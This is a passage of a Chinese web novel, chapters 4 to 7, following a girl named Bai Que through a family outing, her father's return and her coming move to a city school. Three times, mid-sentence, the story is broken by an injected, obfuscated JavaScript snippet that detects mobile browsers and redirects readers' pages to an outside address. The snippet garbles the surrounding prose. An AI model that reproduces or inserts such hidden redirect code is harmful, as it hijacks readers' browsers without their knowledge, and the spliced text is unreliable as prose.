关阿姨,自然就是顾一秋的妈妈,关小琴了。 顾奶奶很替自己的儿子骄傲,有时候骄傲得有些过分了,觉得世界上没有哪个女人能配得上自己的儿子,对家里这个只有初中文凭的儿媳很不满意,总是横挑鼻子竖挑眼。 宝坪镇人口不多,彼此都认识,这些事差不多每个人心里都有数,但没有谁会真的说出来。 白鹊语速太快,一整句话说完才意识到自己说错了话,她飞快抬起手,紧紧捂住了自己的嘴巴。 顾一秋笑了,他说:“你又发现了奥秘。” “我发现了奥秘”是一首儿歌里的歌词,旋律很好记,曾经很是流行,白鹊也常常把它挂在嘴边,经常唱“啦啦啦,我发现了奥秘。” 顾一秋这么一说,白鹊和许诗琳对视一眼,默契十足地齐声唱了起来。 两个小女孩手牵着手,走在前面,顾一秋跟在后面,大家小声哼着歌往前走,不再提大人之间的话题。 眼看就要走到顾一秋的家门口,前面岔路忽然拐过来一个中年男人,那人戴着厚眼镜,一手拿着一叠报纸,另一只手里提着一篮鸡蛋。 许诗琳站住了脚,喊道:“爸爸。” 许诗琳的爸爸“嗯”了一声,把报纸盖在鸡蛋篮子上,空出一只手来牵许诗琳,直接扭转方向,拉着她回家了。 许诗琳就这样被带走了,三个小朋友变成了两个小朋友。 白鹊失落地看着许诗琳的背影。 顾一秋抬起头,他在看街边的塑料雨棚,过了会儿,他伸出手,掌心向上,他说:“下雨了。” 白鹊也伸出手,手上没接到雨,头顶先接到了,这雨下得又快又急,雨点也越来越大。 顾一秋拉着她往后退,躲在了路边商铺的屋檐下,幸好这里有个突出来的屋檐,可以稍微避一避,雨势太大,就这么一会儿功夫,脚下的地面已经被打湿,积起了一汪水。 白鹊看着脚边的小水坑,试探性地用鞋底去踩了踩,她说:“我妈妈答应给我买一双新雨靴。” 顾一秋说:“哦。” 白鹊又说:“可是我家那么穷,连买零食的钱都没有,我妈妈怎么会买得起雨靴呢。” 顾一秋说:“呃……” 白鹊叹气道:“如果我有钱就好了,等到那时候,我就可以买好多零食,想吃什么就吃什么,我妈妈也不用那么辛苦工作,我可以给她发工资,也不会一直不许她吃零食。” 顾一秋说:“嗯。” “够了!”白鹊一巴掌拍在墙上,她说:“你不要再模仿曾经的自己了!能不能多说几个字啊!” 顾一秋说:“我看到白阿姨了。” 白鹊一边说:“你又骗我。”一边飞快地缩在了顾一秋身后。 其实根本没有躲躲藏藏的必要,妈妈又不会把她怎么样,但白鹊习惯了偷偷溜出家门出去玩,在外面见到妈妈总觉得心虚,下意识就把自己给藏起来了。 白鹊曲膝站着,小心翼翼地扒着顾一秋的肩膀,只把一双眼睛露出来,她看见妈妈从“乐乐副食店”里走出来,顾奶奶也走到店门口,递给她一把伞,妈妈撑伞转身,似乎往这里看了一眼。 白鹊赶紧又蹲下去。 顾一秋的声音从前面发出,隔着胸腔,闷闷的,他说:“白阿姨问你要不要和她现在回家。” 白鹊没有思考就拒绝了,“不要不要。” 又过了一会儿,顾一秋说:“好了,出来吧。” 白鹊重新抬起头来,看见妈妈的背影走远了,而顾一秋的手里多了两个大斗笠。 白鹊戴上斗笠,视野立刻消失一大半,她两手捧着斗笠的边缘,低着头,紧跟着顾一秋的脚印,往前走。 夏天的雨来得快,去得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17068831|195190||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也快,两人还没从街这头走到街那头,雨已经停了。 顾一秋把两个斗笠放回副食店,拿着家里钥匙出来了,他说:“走吧,去楼上玩。” 白鹊看着他,又看了看副食店里正在整理货架的顾奶奶,她忽然意识到一件事,“现在是不是该吃晚饭了啊。” 顾一秋还没回答,白鹊就下定决心,“算了!今天太晚了,我该回家了,明天再来找你玩吧。” 顾一秋“哦”了一声,让她等一等,自己转身跑上楼,没过几分钟,又从楼梯口跑出来,手里拿着一棵草,根部用湿纸包着,递给白鹊,“你要的吊兰。” 顾一秋家里有很多花花草草,从前都是关阿姨在照料,现在关阿姨离开了,那些花花草草也经过了筛选,娇贵一点的都枯萎了,留下来的都是好存活的。 白鹊小心地接过那一截叶片,又看一眼副食店,她说:“明天见。” 顾一秋说:“明天见。” * 平安诊所的营业时间是早上九点到下午六点,如果有紧急情况可以打白医生的私人电话。 白鹊回家时发现诊所已经关门了,但应该刚关不久,有几个人正从诊所的方向离开。 诊所后面的院门半掩着,飘出一股饭菜的香气。 太不可思议了!今天竟然这么快就开饭了? 白鹊吸了吸鼻子,闻到一股焖肉的香味,还有玉米排骨汤的味道,和平常的清蒸小菜完全两样。 平时因为时间来不及,妈妈总是做一些方便快捷的菜,不会有这么复合浓郁的味道。 现在这是怎么回事? 白鹊推开厨房的门,好吧,原来今天是“姓宋的”在做晚饭。 白鹊问:“我妈妈呢?” 姓宋的说:“什么?爸爸辛苦了?爸爸做饭是应该的,一点也不辛苦,小鹊今天学习辛苦了!” 白鹊说:“呃……” 在这个时刻,她忽然就明白顾一秋为什么那么喜欢说单个的语气词了,有时候,确实是不知道该说些什么。 姓宋的哈哈大笑,说道:“你妈妈在书房忙呢,马上菜就齐了,快去叫妈妈出来吃饭。” 白鹊“哦”了一声,心里觉得有些怪怪的,从前这个家只有她和妈妈,小而温馨,现在忽然多了一个人加入进来,虽然也是同样温馨吧,但独属于她和妈妈两人之间的亲密却有点被破坏了。 因为这个,白鹊吃饭时也有点闷闷不乐。 饭桌上,姓宋的给白伊水碗里夹排骨,白伊水转手就把排骨放在了白鹊碗里,白鹊正想吃呢,却看见姓宋的眼巴巴地望着自己。 白鹊和他对视一会儿,不情不愿地夹了块玉米放在他碗里。 姓宋的倒是很高兴,他说:“哎哟,不用不用,爸爸自己知道夹菜。” 白鹊感觉自己遇到克星了,这人怎么这样啊!她很有危机感,决定从今天开始大口吃饭,锻炼身体,要变得更高更快更强! 白鹊一心吃饭,都没留神妈妈和姓宋的在说些什么,回过神来,只听到妈妈问了一句,“白鹊,你愿意跟你爸爸一起走,去大城市里读书生活吗?” 白鹊手里的筷子掉了,她的眼泪也忽然掉了下来,她感觉自己被悲伤淹没,眼前的饭菜一点也不香了。 她扯着妈妈的袖子,呜呜呜地哭,“不要哇,妈妈,不要把我卖掉啊!” 5. 第 5 章 好在,冷静下来之后,白鹊有了新的判断,她认为自己不会被妈妈卖掉,毕竟人口买卖是犯罪行为,而且,妈妈那么爱她,怎么会忍心把她赶出家门呢。 虽然是误会一场,但过程中的伤心也是真的。 为了表示歉意,白伊水不仅很快兑现了给白鹊买新雨靴的承诺,还多买了一件新雨衣送给她,雨靴雨衣都色彩明亮,鲜艳好看,白鹊很喜欢。 白鹊提着包装袋就开始许愿,希望接下来的暑假里全是下雨天。 不过,白鹊还没有高兴太久,就听见了妈妈接下来的话。 白伊水说:“妈妈舍不得你,但是呢,有些时候,我们要学会做一些取舍。” “你马上就是高年级的学生了,需要一个更好的学习环境,刚好你爸爸提了一下这个事,他这两年做生意稳定了下来,也有更多的时间和精力去照顾你。” 白伊水摸了摸白鹊的头发,说道:“这两天妈妈想了很久,既然你迟早都是要去外面上学的,趁这个机会,把你的学籍转过去,还能早点适应那边的生活节奏,其实是一件好事。” 白鹊抬起头看妈妈,怔怔地,“可是,我现在的学习环境就很好啊,我的老师很好,同学也很好啊。” 白伊水牵着她往家走,一时间没说话,快到家门口才说,“每个环境都有各自的优缺点吧,但你要先认识到更多的可能性,才能做选择啊。” 白鹊好像明白了,但并不能完全理解,她说:“妈妈,可不可以不要对我说这么高深的话。” 白伊水笑了笑,正要开口,却看到诊所门口有个拄着拐杖的老人在四下张望,像是在寻找着什么,她放开白鹊的手,快步迎过去。 白鹊有点无奈,但也习惯了,她看着自己怀里抱着的雨衣雨靴,对自己大力“嗯”了一声,依旧脚步轻快地跨过门槛,回房间去了。 * 宝坪镇的整体地势很平坦,只有东边有一片起伏的小山丘。 小山丘的另一边是另一个乡镇,那个镇上有个名人故居,因此旅游业比较发达,圈了这一片小山丘当作景点,建了一个历史主题公园。 这天天气不错,不算太热,空气里带着微风,平安诊所关了一天门,白鹊一家人来到小山丘公园,开始今年夏天的郊游。 天气预报说今天多云转晴,下雨的概率很小,不用带雨具,白鹊思考一番,没有带伞,但穿上了新雨靴,她表示:“这个颜色很适合爬山啊!” 这是一双草绿色的雨靴,鞋面上还有一朵朵黄白相间的浅色小花,像是炸开的蒲公英,确实很有山林气息。 妈妈和姓宋的都没有反驳她,各自收拾了一堆东西,背上背包牵着她就出发了。 小山丘海拔不高,二十分钟就能爬到山顶,山顶有几个小亭子,可供游客休息,但现在都坐满了人。 姓宋的,或者说是宋凌峰——刚才买门票进景区的时候,他拿出了身份证,白鹊也终于知道了他的名字——从背包里翻出防水垫,挂在胳膊上,四处张望起来。 他犹豫半天都做不了选择,白伊水随手一指,指向远处一棵歪歪扭扭的树,建议道:“铺在那边吧,阳光好,还避风。” 宋凌峰这下变得动作麻利起来,很快就在那颗树下选了个平坦干净的位置,铺好垫子,摆好零食,还点了蚊香,一边扇风一边说:“可以过来了!” 白鹊看了看妈妈,白伊水也正低头看着她,母女俩都有点想笑,白鹊不知道妈妈是想到了什么,但她自己是忽然想起了宫斗剧里的大太监,就是那种很殷勤,常常笑眯眯,但背地里很阴险的经典角色。 嗯……倒不是说爸爸是太监,但真的很像! 宋凌峰对此一无所知,拿了瓶大容量的橙汁出来,倒在杯子里,递给了白鹊。 白伊水感觉有点匪夷所思,“你怎么把玻璃杯也带出来了。” 宋凌峰不知为什么,还有些骄傲,他表示,“我们随时都要注重生活质量。” 白伊水摇了摇头,顺手把瓶盖拧紧,放在了脚边。 白鹊喝了口橙汁,赞叹两句,说:“妈妈,我想吃方便面。” 白伊水瞪了她一眼,这眼神很有威慑力,如果放在平时,白鹊肯定立刻放弃,不敢再纠缠,但今天……白鹊感觉妈妈的心情很不错,所以她不退反进,用力抱着妈妈的胳膊,眼巴巴地望着她。 白伊水和她对视一会儿,拍了拍宋凌峰的胳膊,说:“那个,你去买桶泡面来,泡的时候注意点,确认那是烧开的水。” 宋凌峰手忙脚乱地站起来,低着头,摸了摸裤兜,确认钱包在身上就赶紧跑去景区商店了。 白鹊看着宋凌峰的背影,又看妈妈的侧脸,她说:“妈妈,如果我去其他地方上学了,以后还可以回来吗?” “当然了,寒假暑假你都要回来的啊,”白伊水大概是被她逗笑了,故意道:“难道你不想再回来了?噢,你现在变得更喜欢爸爸了?” 白鹊“哼”了一声,她心想,妈妈现在都不管他叫“姓宋的”了。 白鹊说:“不一定哦,人都是会变的。” 她忍不住问:“妈妈,你为什么不和我一起去呢?如果城市里有更好的环境,那你为什么不想变得更好呢?” 见妈妈只是沉默,白鹊就又问了一遍,白伊水撑着头,有点无奈,说道:“等一下,我先想一想,怎么才能用不高深的语言回答你这个问题。” 妈妈思考的速度太慢了,转眼间,宋凌峰已经端着冒着热气的泡面回来了。 白鹊先是一喜,随即又变得沮丧,她小声说:“我不想吃红烧牛肉味的。” 宋凌峰一拍大腿,“啊呀,那怎么办,爸爸钱已经花光了,没办法再买一桶,要不这样,你勉强吃一点点,剩下的我来解决好了。” 好吧,事情已经这样了,白鹊也没有别的办法,只能忍痛放弃了更多的泡面,只吃了一口就放下了。 不知道为什么,她感觉妈妈好像在偷笑,白鹊猛地抬头去看,妈妈面无表情,只 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17068832|195190||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是冷冷地眺望远方,作沉思状。 白鹊也看向远方,远处有一片小竹林,绿绿的,叶片在风里摇动,哗啦啦地响。 下午的天气变得更好了,宋凌峰从背包里拿出了组装鱼竿,从地上抓了小虫子当鱼饵,蹲在一条小溪边开始钓鱼。 白鹊跟着妈妈坐在一块大岩石上,晒太阳吹风。 景区里人来人往,小溪边也很吵闹,宋凌峰竟然还真的钓到了几条鲫鱼,他把鲫鱼扔进别人的鱼篓,往母女俩的方向大幅度招手。 白鹊抬头看妈妈,妈妈看见了,但没理会他,白鹊便举起手来,热情回应了他。 * 夕阳西下,亭子里的游客们都各自起身,准备回家了,白鹊一家人汇入人群,也慢慢往山下走着。 白鹊一不小心踩到一颗烂熟的大黄杏,差点滑倒,幸好宋凌峰一把把她提了起来。 地上脏兮兮的,果肉果核都被涂在一起,草丛里也有些腐烂果实的味道,大概是从哪颗树下掉下来的,好可惜。 白鹊被爸爸背在背上往前走,她回头看了看,提议道:“明年的夏天我们早点来吧,这样就可以摘杏子吃了。” 刚坐上回家的大巴,车窗外忽然下起了大雨。 白鹊虽然盼望着下雨,但也并不想淋雨,她默默祈祷雨快点停下,不知道是不是她的愿望太过反复,让老天也无法处理,这次就没有灵验了。 大巴车开到宝坪镇的一条街尾,车上只剩下五六个人,窗外天黑了,雨丝从车门飘进来,地上是涌动的水流,波光点点,路面排水不好,积水已经没到了成年人的脚踝。 白鹊一家人都没有带伞,白伊水在背包里翻找半天,勉强找出几个 结实的塑料袋。 她先是把白鹊的头发连同后背都盖好,转头看到宋凌峰,在他头上也胡乱扣了一个。 白鹊看着自己的雨靴,有些发愁,她站在车门边,试探着要往下走,却忽然身体腾空,又回到了爸爸的背上。 时间不早了,街上行人很少,四周都是潮湿的雨声,塑料袋蒙在耳朵旁,发出窸窸窣窣的响动,让外界的一切听上去都很混沌、模糊。 白鹊看不清前面的路,风吹雨打,也睁不开眼睛,迷迷糊糊晃荡着就回到了家。 这一路上,白鹊没有踩到任何一点泥泞,她心爱的雨靴还是光洁如新,而宋凌峰穿的是一双薄底皮鞋,已经被雨水泡涨,变得不成样子。 这两双鞋都被晾在阳台的栏杆旁,一大一小,靠得很近。 白鹊站在阳台的窗边,忽然感觉自己和爸爸的距离也变得好近。 白伊水拿了一条干燥的厚毛巾过来,帮她擦头发,白鹊又回过头来看妈妈。 从这个角度,刚好能看到天花板上的灯,家里的灯罩很久没换了,颜色有点发黄,灯光也变得昏黄,和今天傍晚在公园里看见的阳光一模一样。 白鹊把手搭在妈妈的膝盖上,有了些新的感慨,她说:“妈妈,我好喜欢暑假呀。” 6. 第 6 章 雨下了一整夜,到了第二天,窗台还是湿漉漉的。 床头的闹钟还没响,白鹊已经睡醒了,她赶紧把闹钟的按钮拍掉,重新躺回被窝,又睡了好几分钟。 回笼觉真舒服,闭上眼睛之后,时间好像一下变得很慢,很慢。 家里太安静了,一点声音也没有,没人走动,也没人催她起床,白鹊自己反而有点心慌,再次睁开眼睛之后,她赶紧翻身下床,换好了衣服,冲进院子里刷牙。 院子门开了一条缝,白鹊顺着门缝往外看,诊所已经来了两个病人,都歪坐在藤椅上,有气无力地仰着头,靠在墙上,他们旁边都挂着吊瓶。 白鹊又折回房间里重新看了看时钟,还好还好,不算太晚,现在刚好八点四十分,严格说来还不到诊所开始营业的时间。 门口又传来一阵刷刷刷的声音,白鹊一边挤牙膏一边探头去看,原来是宋凌峰正在扫诊所外面那条街上的积水。 他用的那把大扫帚年代久远,已经快秃了,平时没人用,现在拿来扫水还挺合适。 白鹊看了一会儿,吐掉嘴里的泡沫,去厨房里找吃的。 饭桌上放着一碟子水果和核桃,厨房里的蒸锅里还有鸡蛋和花卷,都是热的,白鹊先剥了一个鸡蛋吃,然后去桌子边拣了几颗葡萄放在手里。 她正准备拿钳子夹核桃呢,远远听见白伊水喊了一声,“白鹊,我要去一趟顾奶奶家里,你要和我一起吗?” “我要去我要去!”白鹊手忙脚乱,赶紧又拿毛巾打热水洗了脸,去房间里找出自己给顾一秋准备的礼物,小跑到妈妈身边,说:“走吧!” 白伊水朝她点点头,先去检查了一下两位病人的输液情况,又把宋凌峰叫回来,让他注意点,这才牵着白鹊出门了。 街上的商铺陆陆续续都开门了,但街上没什么人,在不赶集的日子里,宝坪镇的清晨总有些冷清。 走了大概七八分钟,经过一个菜市场,转头就能看见一片连排的商铺,商铺后面是一栋老旧的居民楼。 正中间的店面装潢最朴素,灯光也最昏暗,正是拉了半扇卷帘门的“乐乐副食店”。 白鹊牵着妈妈的手穿过马路,刚走上台阶,她就放开妈妈的手,先一步冲进了店里。 副食店里没有人,白鹊疑惑地绕了几圈,找了半天,这才看到蹲在几排货架中间的顾一秋。 “你在干嘛?”白鹊问道。 顾一秋这次真的被吓了一跳,他原本低着头,听见声音猛地往后缩了一下,然后才说:“哦,有些商品过期了,我把它们替换下来。” 白鹊立刻说:“我帮你吧!”她撸起袖子,很是跃跃欲试。 白鹊一直等待着一个可以亲手收纳物件的机会,在自己家里,她从来没有这样的机会。 白鹊的家永远都是那么规范整洁,就像诊所里充满秩序感的药柜一样,所有东西都被严格分类,并安放在固定的位置,绝对不会出现物品乱摆乱放的情况。 既然从来都不会乱,自然也就不需要动手收拾了。 越是不能够做什么,白鹊越是渴望做什么,此时,她生怕被拒绝,急忙划分起了区域,“我收这边,你收那边,就以第一排第三瓶酱油为界。” 顾一秋对她突如其来的热情有些费解,但没有多做评价,只是说:“哦,好吧。” 白鹊玩得不亦乐乎,连妈妈站在了背后都没发现,还是顾一秋先站直了身体,乖巧道:“白阿姨,早上好。” 白伊水对他笑了笑,稍微打量了一下店里的陈设,下意识用手摸了摸柜台,她问:“一秋啊,奶奶还在楼上休息吗?” 顾一秋点了点头,看了下手表,说:“嗯,不过她应该马上就下来了,您找奶奶有什么事吗?” 白伊水也看了看时间,说:“那你们先玩一会儿,我去楼上看看。” 说着,她直接穿过副食店,推开最角落里的小门,这是一条捷径,门后面就是居民楼的楼道了。 白鹊看了看妈妈的背影,又抬头招呼顾一秋,“愣着干嘛,快点呀,我妈妈待不了多久就会走了,诊所里还有病人在等她。” 顾一秋没有收回目光,他放下东西,慢慢走到小门后面,贴着墙听了一会儿,可惜,什么声音也听不到。 他只好又走回来,不知道怎么回事,店里的光线好像更暗了。 顾一秋看了看地上的白鹊,她正在努力分辨商品包装袋上的生产日期,顾一秋又往回退了几步,噼里啪啦一通按,把店里所有的灯全打开了。 副食店内一下子亮如白昼——虽然现在就是白昼,但这实在是前所未有的亮度。 白鹊不由得惊叹,“这也太奢侈了吧!你怎么了,发生什么事,今天电费不要钱吗?” 顾一秋蹲回了原地,他说:“对啊,太阳能发电。” “啊?真的吗?”白鹊四处张望,疑惑道:“太阳能……这里什么时候安装的光伏板啊,我怎么没看到?” 顾一秋说:“这是有隐身功能的光伏板。” 唉,白鹊摇了摇头,不再和他胡说八道,收回了视线,更加专心致志地清理起了货架。 刚整理完一层货架,白鹊就听见了妈妈的声音。 妈妈这次没有走进店里来,而是站在门口向白鹊招手,白伊水远远地问:“白鹊,你的礼物送出去了吗,妈妈要回家了。” 白鹊应了一声,她这才想起自己今天过来的本来目的,她把甩在身后的挎包拽到面前,在里面翻找起来。 她先是找出一个扁而光洁的鹅卵石,递给顾一秋,说:“我在山脚下捡的,送给你当镇纸。” 又拿出几个被塑料袋包裹的不知名果实,说:“这是野生的无花果,虽然很难吃,但是也可以吃。” 最后,她拿出一本崭新的习题册,说:“这是送你的新学期礼物!” 顾一秋收下了石头和无花果,面对习题册却迟疑了起来,他小声问:“这是你的暑假作业吗?” 一边说,一边还把探询的目光投向了门外的白阿姨。 白伊水也正看着他,笑了笑,说道:“收下吧,一秋,新学年一定要好好学习呀。” 顾一秋一怔,他不确定是不是自己想的那样。 但下一秒,他看见奶奶也出现在了店门外,奶奶拉着白阿姨的手,低声道谢,奶奶的神情是难得的平和,甚至还有一点笑意,像是终于放下了什么沉重的心事。 * 转眼又是周六,又到了三人学习小组汇合的日子。 白鹊一早就收拾好自己的书包,准备好了要交的作业,要问的问题,以及一沓带网格的草稿纸,她打算到时候和许诗琳一起下五子棋。 下午两点,白鹊来到了顾一秋 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17068833|195190||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 家的楼下。 其实徐老师规定的时间是下午三点,白鹊提前一小时出门,自己都快被自己感动了,平时上学她可从来没有这么积极过。 或许是因为,漫长的暑假里,可自由支配的时间实在是太长了,偶尔换个场地专注地学习一下,倒也蛮快乐的。 只是,今天的太阳真大啊,太热了,太晒了,白鹊一直站在树荫下,还是觉得浑身冒汗,遮阳帽的帽檐都快被汗水浸湿了。 顾一秋从楼上跑下来,楼道里响起噔噔噔的回声,他一口气跑到白鹊面前,扑过来一阵小而热的风。 白鹊有气无力问:“你怎么这么开心啊。” 顾一秋说:“没有啊。”刚说完,他就忍不住笑了一下,他只好又说:“开心是不需要理由的吧。” 白鹊恹恹地点头,说:“嗯……我好想吃冰棍啊。” 说着话,两人又走到了许诗琳家的楼下。 许诗琳也提前出门,早早地等在了楼道里,刚一见到白鹊的身影,她就提起书包往这边跑来。 白鹊上前迎接,两人一起跑出楼道,嘻嘻哈哈地跑进了教职工宿舍楼旁边的巷子里。 巷子里凉快多了,三人并排站在一起吃冰棍,吹似有若无的风。 白鹊凑到顾一秋旁边,看了看他的手表,她说:“放心吧,时间还早,我们可以慢慢吃。” 时间还早,但冰棍不等人,室外气温太高,冰棍融化的速度太快,三人只能狼吞虎咽地吃完了。 吃完之后,顾一秋去扔垃圾,许诗琳从书包夹层里拿出了三张湿纸巾,白鹊则捂住了肚子,慢慢蹲在了地上。 许诗琳和扔垃圾回来的顾一秋都大惊失色,白鹊露出一个苦笑,她说:“我终于明白了。” 明白什么了? 白鹊哀叹道:“我终于明白,为什么暑假总有那么多吃坏肚子的人来诊所打吊瓶了!” 好在,白鹊的状况还不至于要回家打吊瓶,她只是吃得太急,肠胃受了刺激,忍过那股劲,缓一缓就好多了。 等到三人来到了教职工宿舍楼下,白鹊已经完全恢复了。 经此一役,白鹊痛下决心,说:“我以后再也不吃冰棍了。” 许诗琳犹豫一下说:“那我也不吃了吧。” 两人都看向顾一秋,顾一秋沉默一会儿,转身就跑了。 他一口气跑到了徐老师面前,徐老师看了看他身后,笑道:“又在赛跑啊。” 等到三个小朋友都到齐了,徐老师把风扇打开,开始了本周的教学。 在这次的课上,除了完成日常任务,徐老师还额外宣布了两个好消息。 第一,下学期,新学年,顾一秋同学将会回重返校园,他可以和同学们一起学习了! 第二,过完暑假之后,白鹊同学即将转去市中心的重点小学,认识更多新朋友,接受更多新挑战,让我们一起为她加油鼓劲吧! 许诗琳愣住了,她有点难以接受后面这个“好消息”。 下学期,她多了一个同学,又少了一个同学。 在白鹊和顾一秋之间,如果注定只能选择一个人做同学,她绝对是选择白鹊。 可是……现实已经这样了,由不得她选择,那好吧,顾一秋也行吧,一增一减,至少总人数没有变化。 许诗琳有些悲伤地为朋友们鼓掌。 7. 第 7 章 相对论果然是真的。 那么漫长的暑假,竟然一瞬间就过去了。 距离开学还有十天,街上疯跑的同学们少了很多,估计大家都闷在家里补作业去了。 白鹊的作业倒是早就做完了,说起来,她也是做完才意识到,反正她都要转学了,要去到一个完全陌生的新学校,那里的老师肯定不会检查她以前的暑假作业吧。 既然这样,她完全可以不用做的啊! 白鹊很是懊恼,只能想方设法安慰自己,万一新老师很严格,想要从各个方面了解她的学习状况呢?她准备得充分一点,还可以给新老师留一个好印象。 新老师……新老师会是什么样的呢? 一想到这里,白鹊又感觉有些烦闷了,她推开书桌前的窗户,正好看见院子里堆着的几大包行李。 这些都是妈妈这几天收拾出来的,准备让白鹊带走的东西。 两个大行李箱里装的是她的衣服,几个尼龙袋里则是被褥、书包、鞋之类的东西,除了这些,还有一个大背包,用来装一些零零散散的日用品。 白鹊这时再回过头来看自己的房间,一下就感觉空落落的,大部分东西都被打包清走了,就连床底下原本堆着的几个装书的箱子也不见了。 白鹊把下巴撑在椅子扶手上,盯着对面的墙纸发呆。 窗外的阳光从背后投进来,在衣柜上映出一块块的光斑,她撑着头四处看,忽然发现床底下好像还有个什么东西。 好像是个硬壳手提袋,放在了最里面靠墙的位置,一不留神就会被忽略掉。 白鹊四下看了看,找了个晾衣杆过来,手脚并用地够了半天,总算把这个手提袋拖了出来。 打开一看,原来是一双旱冰鞋。 这双旱冰鞋是去年儿童节的时候妈妈送她的礼物,白鹊很喜欢。 不过,她喜欢的东西很多,除了这个,还有更多同样好玩的东西,和其他更快捷的娱乐比起来,旱冰鞋穿戴起来有点麻烦,对场地的要求也很高,慢慢地,它就被遗忘在了角落里。 不知道为什么,现在看到这双很久没有穿过的旱冰鞋,她忽然觉得很感伤。 她有点接受不了生活里有那么多被遗忘的、被替换掉的东西,为什么生活总是有这么多的变化呢? 白鹊忽然后悔了,她不想走了,她把窗户彻底打开,冲着院子里大喊:“我不想转学!” 没人搭理她,院子里没有人,前面的诊所里好像也没人听见她的声音。 白鹊等了一会儿,想了想,重新喊道:“我要出去玩!” 还是没人理她,既然这样,她可就不客气了,白鹊换了双运动鞋,赶紧溜出门了。 如果放在平时,白鹊肯定要去找朋友们一起玩,毕竟宝坪镇一共就这么大点儿地方,玩来玩去都是在重复的角落打转,那么,一群人打转总是比一个人独自打转要有趣多了。 但今天的情况有些不同,白鹊感觉自己有些忧郁,这份忧郁之情太难得,她决定让这种成熟的情绪留存得更久一点,她打算一个人出去逛逛。 她漫无目的,不知道往哪儿走,下意识还是往学校的方向走去。 放假期间,学校的铁门是关着的,门口的小卖部倒是还在营业,小卖部的老板一抬头看到了白鹊,冲她笑了笑,白鹊猝不及防,也僵硬一笑,左右看了看,掉头走了。 她又走到了农贸市场,准确的说,是旧的农贸市场,这里已经被弃用很久了,墙上有白色的涂料,写着“危房!请勿靠近!” 白鹊远远看了几眼,又换了个方向继续走,走走停停快四十分钟,她有点累了,主要是有点无聊,她正思考着要不然干脆回家算了,忽然听到了一阵敲敲打打的音乐声。 这声音由远及近,越来越响,白鹊转过拐角,这下看见一列浩浩荡荡的花鼓队正迎面而来,她赶紧站到了路边。 花鼓队后面跟了一群看热闹的人,白鹊看了一会儿,也不由自主加入其中,混在人潮里往前走去。 花鼓队热闹红火地转了一大圈,走进一个分岔口,停在了一个面积很大的连排商铺面前。 白鹊抬头一看,这里不知道什么时候新开了一家糖果超市,店名就叫这个,简单直白,但招牌做得花花绿绿,大白天也有彩色灯带在闪。 超市门口放了两个半人高的音响,在单曲循环一首很吵的英文歌,音响和鼓声左右夹击,人群也吵吵嚷嚷,简直难以忍受,白鹊一瞬间还以为是过年了。 糖果超市里面好像有什么开业促销活动,人群一阵一阵地往里涌进去,白鹊也不得已跟着冲了进去。 里面到处都是亮晶晶的玻璃柜子,流光溢彩的糖纸,白鹊看着看着,有点沉醉其中了,可惜她没钱,沉醉一会儿又清醒过来,从人群中钻了出去。 经过这么一闹腾,白鹊的忧郁之情也荡然无存,但她是真的有点逛累了。 白鹊慢吞吞地走出人群,四处张望一番,看到一堵墙边有个小木凳,她赶紧过去坐下了。 木凳旁边还有一张桌子,桌子上是散乱的扑克牌,但打牌的人不知道哪儿去了。 白鹊盯着墙角的青苔发呆,这么折腾半天,她好像并没有思考出什么结果,但心情稍微好了一点。 余光里,角落里的青苔好像动了动,白鹊定睛一看,原来是有一只蜗牛在墙上缓缓爬行。 “你在干嘛?” 哇!白鹊被吓了一大跳,差点从凳子上摔下来,她转过头来,对着身后的顾一秋怒目而视。 顾一秋无辜道:“我不是故意的。” 他又问:“你在干嘛?” 白鹊高深莫测地摇了摇头,“说来话长。” 顾一秋就点了点头说:“哦,那走吧,回去了。” 好吧,反正白鹊本来也打算回家了,两人的家在同一方向,可以一起走一段路。 白鹊看着顾一秋手上的东西问:“你拿的什么啊?” 顾一秋打开手里的塑料袋,是一叠风干豆腐皮,他说:“奶奶让我去买一块豆腐,但是新鲜豆腐已经卖光了。” 白鹊有点担心,“这……差很多吧,奶奶生气了怎么办?” 顾一秋笑了笑,“其实我奶奶没有那么吓人,也不会那么容易就生气。” “噢……那就好。”白鹊说。 十多分钟后,两人走到了平安诊所附近。 顾一秋停下了脚步,他说:“到了,你先回去吧。” 白鹊一时间没有动,她不知道为什么,不是特别想回家。 顾一秋又说:“你们明天就要出发了,对吧,你的旧教材别忘了,说不定新学校也会用到,记得多检查几遍自己的行李,要带好自己需要的东西。” 听着这些话,白鹊忽然很想哭,她觉得很难过,但具体为了什么,又说不清楚。 她原本低着头,现在猛地抬起头,睁大眼睛,看着蓝天白云,还有几只在树梢上乱飞的小麻雀。 顾一秋说完了话,却没有走,他问:“你不开心吗?” 白鹊说:“我不知道。” 